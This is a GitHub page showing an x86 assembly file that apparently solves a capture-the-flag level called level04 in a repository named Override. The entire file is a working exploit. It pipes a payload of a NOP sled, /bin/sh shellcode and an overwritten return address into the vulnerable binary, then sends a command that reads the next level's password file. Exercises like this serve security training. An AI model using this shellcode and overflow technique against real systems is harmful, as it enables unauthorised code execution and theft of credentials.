Override/exploit_04.asm at master · MaoKo/Override · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110

format ELF executable $03
entry _start

struc string data*& {
    .: db data
    .length = ($ - .)
}

struc timespec {
    .tv_sec: rq $01
    .tv_nsec: rq $01
}

virtual at $00
    timespec timespec
    timespec.sizeof = $
end virtual

segment executable readable
_start:
    and esp, not $0F
    sub esp, $08
    mov eax, $2A
    mov ebx, esp
    int $80
    test eax, eax
    jnz .exit
    mov eax, $3F
    mov ebx, dword [esp]
    xor ecx, ecx
    int $80
    mov eax, $04
    mov ebx, dword [esp+$04]
    mov ecx, _payload
    mov edx, _payload.length
    int $80
    mov eax, $02
    int $80
    test eax, eax
    jz .child
    mov ecx, timespec.sizeof
    sub esp, ecx
    xor al, al
    mov edi, esp
    rep stosb
    mov byte [esp+timespec.tv_sec], $01
    mov eax, $A2
    mov ebx, esp
    xor ecx, ecx
    int $80
    add esp, timespec.sizeof
    mov eax, $04
    mov ebx, dword [esp+$04]
    mov ecx, _command
    mov edx, _command.length
    int $80
    jmp .exit
.child:
    mov eax, $0B
    mov ebx, _program
    xor edx, edx
    push edx ebx
    mov ecx, esp
    int $80
.exit:
    mov eax, $01
    xor ebx, ebx
    int $80

segment readable
_program: db "/home/users/level04/level04", $00
_command string "cat /home/users/level05/.pass", $0A
_payload:

repeat $40
    nop
end repeat

xor eax, eax
mov al, $02
int $80
test eax, eax
jnz _exit
jmp short _init
_next:
mov ebx, dword [esp]
xor byte [ebx+$07], $FF
mov ecx, esp
mov al, $0B
int $80
jmp short _exit
_init:
xor edx, edx
push edx
call _next
db "/bin/sh", $FF
_exit:
xor eax, eax
mov al, $01
xor ebx, ebx
int $80

repeat $29
    db '_'
end repeat
dd $FFFFDDFC
db $0A

_payload.length = ($ - _payload)